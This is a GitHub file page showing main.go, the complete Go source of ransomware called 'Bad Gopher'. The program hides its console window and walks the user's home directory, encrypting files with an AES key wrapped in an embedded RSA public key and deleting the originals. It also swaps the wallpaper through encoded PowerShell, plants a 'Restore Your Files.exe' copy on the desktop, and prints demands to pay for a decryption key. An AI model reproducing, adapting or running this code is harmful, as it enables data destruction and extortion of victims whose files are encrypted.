-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.go
465 lines (386 loc) · 11.9 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
package main
import (
"archive/zip"
"bufio"
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/hex"
"encoding/pem"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/faiface/beep"
"github.com/faiface/beep/mp3"
"github.com/faiface/beep/speaker"
"github.com/gonutz/w32"
"github.com/kardianos/osext"
"github.com/reujab/wallpaper"
"golang.org/x/text/encoding/unicode"
)
var magicBytes = []byte("BAD GOPHER\n")
var currentTime = []byte(time.Now().UTC().String() + "\n")
const suffix = ".gopher"
// Compresses a file into zip archive
// Param 1: path to a file to add to the zip.
func zipFile(filename string) ([]byte, error) {
// Create buffer to store zipped file
buf := new(bytes.Buffer)
zipWriter := zip.NewWriter(buf)
// Open file for reading
fileToZip, err := os.Open(filename)
if err != nil {
return nil, err
}
defer fileToZip.Close()
// Get the file information
info, err := fileToZip.Stat()
if err != nil {
return nil, err
}
header, err := zip.FileInfoHeader(info)
if err != nil {
return nil, err
}
// Using FileInfoHeader() above only uses the basename of the file. If we want
// to preserve the folder structure we can overwrite this with the full path.
// header.Name = filename
// Change to deflate to gain compression
// see http://golang.org/pkg/archive/zip/#pkg-constants
header.Method = zip.Store
// Create writer for adding file to zip
writer, err := zipWriter.CreateHeader(header)
if err != nil {
return nil, err
}
// Write the file to the zip
_, err = io.Copy(writer, fileToZip)
zipWriter.Close()
return buf.Bytes(), err
}
// Decompresses a zip archive to a file
// Param 1: zip archive bytes to unzip
// Param 1: path to save the unzipped file
func unzipFile(archive []byte, filename string) error {
zipReader, err := zip.NewReader(bytes.NewReader(archive), int64(len(archive)))
if err != nil {
return err
}
for _, zipFile := range zipReader.File {
savePath := filepath.Join(filename)
if zipFile.FileInfo().IsDir() {
// Make Folder
os.MkdirAll(savePath, os.ModePerm)
continue
}
// Make File
if err = os.MkdirAll(filepath.Dir(savePath), os.ModePerm); err != nil {
return err
}
outFile, err := os.OpenFile(savePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, zipFile.Mode())
if err != nil {
return err
}
rc, err := zipFile.Open()
if err != nil {
return err
}
_, err = io.Copy(outFile, rc)
outFile.Close()
os.Chtimes(filename, zipFile.Modified, zipFile.Modified)
}
return err
}
// CSPRNG random byte generator
func generateRandomBytes(n int) ([]byte, error) {
b := make([]byte, n)
_, err := rand.Read(b)
if err != nil {
return nil, err
}
return b, nil
}
// Encryption helper function
func encrypt(data []byte, key []byte) []byte {
block, _ := aes.NewCipher(key)
gcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
nonce := make([]byte, gcm.NonceSize())
if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
panic(err.Error())
}
ciphertext := gcm.Seal(nonce, nonce, data, nil)
return ciphertext
}
// Decryption helper function
func decrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
panic(err.Error())
}
gcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
nonceSize := gcm.NonceSize()
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
fmt.Println("You have provided an incorrect decryption file!")
os.Exit(1)
}
return plaintext
}
// Encrypt file and save
func encryptFile(inputFilename string, outputFilename string, key []byte) {
// Zip file first to preserve metadata
zippedFile, _ := zipFile(inputFilename)
f, _ := os.Create(outputFilename)
defer f.Close()
f.Write(encrypt(zippedFile, key))
}
// Decrypt file and save
func decryptFile(inputFilename string, outputFilename string, key []byte) {
data, _ := ioutil.ReadFile(inputFilename)
decryptedData := decrypt(data, key)
unzipFile(decryptedData, outputFilename)
}
// Malware activation routine
func activate(home string, gopherFileName string) {
// Copy executable to desktop
executablePath, _ := osext.Executable()
if _, err := os.Stat(executablePath); err == nil {
input, err := ioutil.ReadFile(executablePath)
if err != nil {
fmt.Println(err)
return
}
err = ioutil.WriteFile(home+"Desktop/"+"Restore Your Files.exe", input, 0777)
if err != nil {
fmt.Println(err)
return
}
}
// Extract Bad Gopher wallpaper
desktopBackgroundDec, _ := base64.StdEncoding.DecodeString(desktopBackground)
f, _ := os.Create(home + "BAD_GOPHER.jpg")
f.Write(desktopBackgroundDec)
f.Close()
// Save old wallpaper for later restoration
oldWallpaperPath, err := wallpaper.Get()
if _, err := os.Stat(oldWallpaperPath); err == nil {
// Copy wallpaper
input, err := ioutil.ReadFile(oldWallpaperPath)
if err != nil {
fmt.Println(err)
return
}
err = ioutil.WriteFile(home+"BAD_GOPHER_USER_WALLPAPER"+filepath.Ext(oldWallpaperPath), input, 0644)
if err != nil {
fmt.Println(err)
return
}
}
// Set the wallpaper
err = wallpaper.SetFromFile(home + "BAD_GOPHER.jpg")
if err != nil {
fmt.Println(err)
}
// Special command for setting Windows wallpaper for <= Windows 7
// EncodedCommand MUST be in UTF-16 LE encoding when encoded with base64
if runtime.GOOS == "windows" {
cmd := exec.Command("powershell", "-EncodedCommand", wallpaperCmdString)
defer cmd.Start()
defer cmd.Wait()
}
// Generate the symmetric AES encryption key
key, _ := generateRandomBytes(32)
// fmt.Printf("Symmetric key: %s\n", hex.EncodeToString(key))
// Embed public key in embeddedFiles so no external files are needed
pubPem, _ := pem.Decode(publicKey)
pubKey, _ := x509.ParsePKCS1PublicKey(pubPem.Bytes)
// Encrypt the symmetric key with the asymmetric public key
ciphertext, _ := rsa.EncryptOAEP(sha256.New(), rand.Reader, pubKey, append(append(magicBytes, currentTime...), key...), nil)
// Save the decryption key and other information to the home directory
keyFile, _ := os.Create(home + gopherFileName)
keyFile.WriteString(hex.EncodeToString(ciphertext))
keyFile.Close()
// Save the decryption key and other information to the desktop
keyFile, _ = os.Create(home + "Desktop/" + gopherFileName)
keyFile.WriteString(hex.EncodeToString(ciphertext))
keyFile.Close()
// Go through every file in the starting directory and encrypt it
filepath.Walk(home, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
// Don't encrypt directories
if info.IsDir() {
if strings.ToLower(info.Name()) == "appdata" {
return filepath.SkipDir
}
if strings.HasPrefix(info.Name(), ".") {
return filepath.SkipDir
}
if strings.ToLower(info.Name()) == "node_modules" {
return filepath.SkipDir
}
return nil
}
// Don't encrypt large files (>2GB)
if info.Size() > 2000000000 {
return nil
}
// Don't encrypt already encrypted files
if strings.HasSuffix(info.Name(), suffix) {
return nil
}
// Don't encrypt files that have already been encrypted
if _, err := os.Stat(path + suffix); err == nil {
return nil
}
// Don't encrypt the decryption key file
if strings.Contains(strings.ToLower(info.Name()), "bad_gopher") {
return nil
}
// Don't encrypt registry files
if strings.Contains(strings.ToLower(info.Name()), "ntuser") {
return nil
}
// Don't encrypt key files
if strings.Contains(strings.ToLower(info.Name()), ".pem") {
return nil
}
// Don't encrypt the desktop decryption binary
if strings.Contains(strings.ToLower(info.Name()), "restore your files.exe") {
return nil
}
encryptFile(path, path+suffix, key)
// Destroy original file
os.Remove(path)
return nil
})
// Play audio
audioDec, _ := base64.StdEncoding.DecodeString(audioData)
// Create io.ReadCloser to stream audio from memory rather than saving file
audioReadCloser := ioutil.NopCloser(bytes.NewReader(audioDec))
streamer, format, err := mp3.Decode(audioReadCloser)
if err != nil {
log.Fatal(err)
}
defer streamer.Close()
speaker.Init(format.SampleRate, format.SampleRate.N(time.Second/10))
done := make(chan bool)
speaker.Play(beep.Seq(streamer, beep.Callback(func() {
done <- true
})))
<-done
}
// Malware deactivation and decryption routine
func deactivate(home string, decryptionKeyPath string) {
// Load the symmetric decryption key provided
decryptionKeyRaw, _ := ioutil.ReadFile(decryptionKeyPath)
decryptionKey, _ := hex.DecodeString(string(decryptionKeyRaw))
filepath.Walk(home, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
// Don't decrypt directories (they were never encrypted)
if info.IsDir() {
if strings.ToLower(info.Name()) == "appdata" {
return filepath.SkipDir
}
if strings.HasPrefix(info.Name(), ".") {
return filepath.SkipDir
}
if strings.ToLower(info.Name()) == "node_modules" {
return filepath.SkipDir
}
return nil
}
// Only decrypt encrypted (.gopher) files
if !strings.HasSuffix(info.Name(), suffix) {
return nil
}
// Don't decrypt files that have already been decrypted
if _, err := os.Stat(strings.ReplaceAll(path, suffix, "")); err == nil {
return nil
}
decryptFile(path, strings.ReplaceAll(path, suffix, ""), decryptionKey)
// Destroy original file
os.Remove(path)
return nil
})
// Restore the user's wallpaper
files, _ := ioutil.ReadDir(home)
for _, file := range files {
if strings.Contains(file.Name(), "BAD_GOPHER_USER_WALLPAPER") {
err := wallpaper.SetFromFile(home + file.Name())
if err != nil {
fmt.Println(err)
}
// Special command for setting Windows wallpaper for <= Windows 7
// EncodedCommand MUST be in UTF-16 LE encoding when encoded with base64
if runtime.GOOS == "windows" {
cmdString := userWallpaperRestoreCmdString + file.Name() + "\")"
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
cmdStringEnc, _ := encoder.String(cmdString)
cmdStringB64 := base64.StdEncoding.EncodeToString([]byte(cmdStringEnc))
cmd := exec.Command("powershell", "-EncodedCommand", cmdStringB64)
defer cmd.Start()
defer cmd.Wait()
}
}
}
fmt.Println("Your files have been restored! Thank you for your cooperation. You may delete the files from your desktop, but save \"BAD_GOPHER.txt\" for proof-of-payment.")
fmt.Print("Press 'Enter' to exit...")
bufio.NewReader(os.Stdin).ReadBytes('\n')
}
func main() {
home, _ := os.UserHomeDir()
home = home + "/"
gopherFileName := "BAD_GOPHER.txt"
// Check if key file exists, if not run the program
if _, err := os.Stat(home + gopherFileName); err != nil {
if runtime.GOOS == "windows" {
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, w32.SW_HIDE)
}
}
}
activate(home, gopherFileName)
return
}
// Start decryption if key file provided
if len(os.Args) > 1 && strings.Contains(strings.ToLower(os.Args[1]), "bad_gopher_decrypt") {
deactivate(home, os.Args[1])
return
}
fmt.Println("You have been infected by the Bad Gopher virus. All your files have been encrypted")
fmt.Println("BAD GOPHER has already been activated. No decryption key was provided.")
fmt.Println("To decrypt your files, pay for your decryption key and drag the decryption file onto the \"Restore Your Files.exe\" file on your desktop.")
fmt.Println("\nAlternatively, drag the decryption file onto the text here and press enter.")
fmt.Print("\nPath to the decryption key: ")
decryptionKeyPath, _ := bufio.NewReader(os.Stdin).ReadString('\n')
decryptionKeyPath = strings.TrimSpace(decryptionKeyPath)
if _, err := os.Stat(decryptionKeyPath); err == nil {
deactivate(home, decryptionKeyPath)
}
}